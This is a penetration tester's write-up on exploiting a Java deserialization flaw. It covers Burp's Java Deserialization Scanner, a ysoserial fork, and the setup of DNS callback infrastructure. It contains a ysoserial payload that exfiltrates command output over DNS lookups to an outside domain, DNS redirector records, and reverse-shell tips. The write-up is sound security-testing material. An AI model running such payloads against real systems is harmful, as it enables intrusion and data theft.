Lessons Learned
Some nuance worth sharing for fellow penetration testers.
Java Deserialization Scanner Configuration
There are three tabs of the Java Deserialization Scanner in Burp: 'Manual testing', 'Exploiting', and 'Configurations'. Contrary to the naming, 'Manual testing' is the automated scanner portion of the tool. The 'Exploiting' tab allows a penetration tester to pass individual commands.
The `Manual testing' tab does not rely on the Java path and Ysoserial path listed in the 'Configurations' tab. It appears to be using a built-in version of the Federicodotta fork of ysoserial. Federico Dotta also wrote the Java Deserialization Scanner extension for Burp Suite.
The manual testing mode uses Java native commands to perform Sleep, DNS, and Compute functions. An application may be vulnerable to RCE via Java native commands and not OS commands. In that case, a tester may need to build a payload using Java commands rather than OS commands.
Ysoserial requires an older version of Java to run on Ubuntu (jdk-8u321-linux-x64.tar.gz). Kali linux uses an older version of Java by default.
The Federicodotta fork of the ysoserial tool was required to successfully send complex OS commands. The original version of ysoserial did not parse spaces and special characters correctly.
DNS Infrastructure
Since the Java object had to be passed in a GET request for this specific vulnerability, the length of our payloads was limited.
The max length of a GET request is 2,048 characters including the path. Passing an OS command with ysoserial has a lot of overhead, so essentially our OS commands were limited to about 115 characters.
The Burp Collaborator domain name was 73 characters long, which took more than half of our command space when appending information to a DNS lookup, so we created infrastructure in AWS using a shorter domain name.
We created an EC2 instance and set the Route 53 records to route name server traffic for the domain "a.finansbilgin.com" to the EC2 (similar to a DNS redirector for Red Teaming).
The maximum length of an ASCII character encoded DNS name is essentially 253 ASCII readable characters (including periods), with each subdomain consisting of no more than 63 characters, e.g.
[63 ASCII].[63 ASCII].[63 ASCII].[61 ASCII].We then appended command output to a DNS lookup for "a.finasbilgin.com" and used tcpdump on the EC2 instance to view the resolution requests.
Ysoserial payload:
Jdk7u21 "dig $SHELL.a.finansbilgin.com" exec_unix gzip,base64,url_encodingOn the EC2 instance:
tcpdump –n port 53
Many penetration testers struggle with the DNS record configuration for a DNS redirector or listener. For reference:
Create an A record that points to the server/redirector where DNS traffic should land, e.g.
ns203.finansbilgin.com A 96.127.121.97Create an NS record for a subdomain that tells DNS where to direct lookups for the given subdomain, e.g.
a.finansbilgin.com NS ns203.finansbilgin.cominstructs DNS resolvers to reference the name server ns203.finansbilgin.com for all subdomains of a.finansbilgin.com.DNS traffic for all subdomains of a.finansbilgin.com will be queried against 96.127.121.97. For example, if you initiate a lookup on an infected endpoint using
[data].a.finansbilgin.com, you'll be able to receive and view the information by runningtcpdumpon the server at 96.127.121.97.
Miscellaneous
The Java Deserialization Scanner will not passively detect a deserialization vulnerability if it’s encoded. It’s unclear from the documentation if the passive scan will check basic encodings or only objects submitted in raw hex.
If the application does not permit OS commands but the input parameter can be sufficiently long, the Java native reverse shell option in the Federicodotta fork of ysoserial may be an option.
There are a handful of ways to test blind OS command execution appended to a domain name.
Base64 encoding and the head/tail commands can be used to avoid special character restrictions and chunk the output into a smaller character size
Last updated
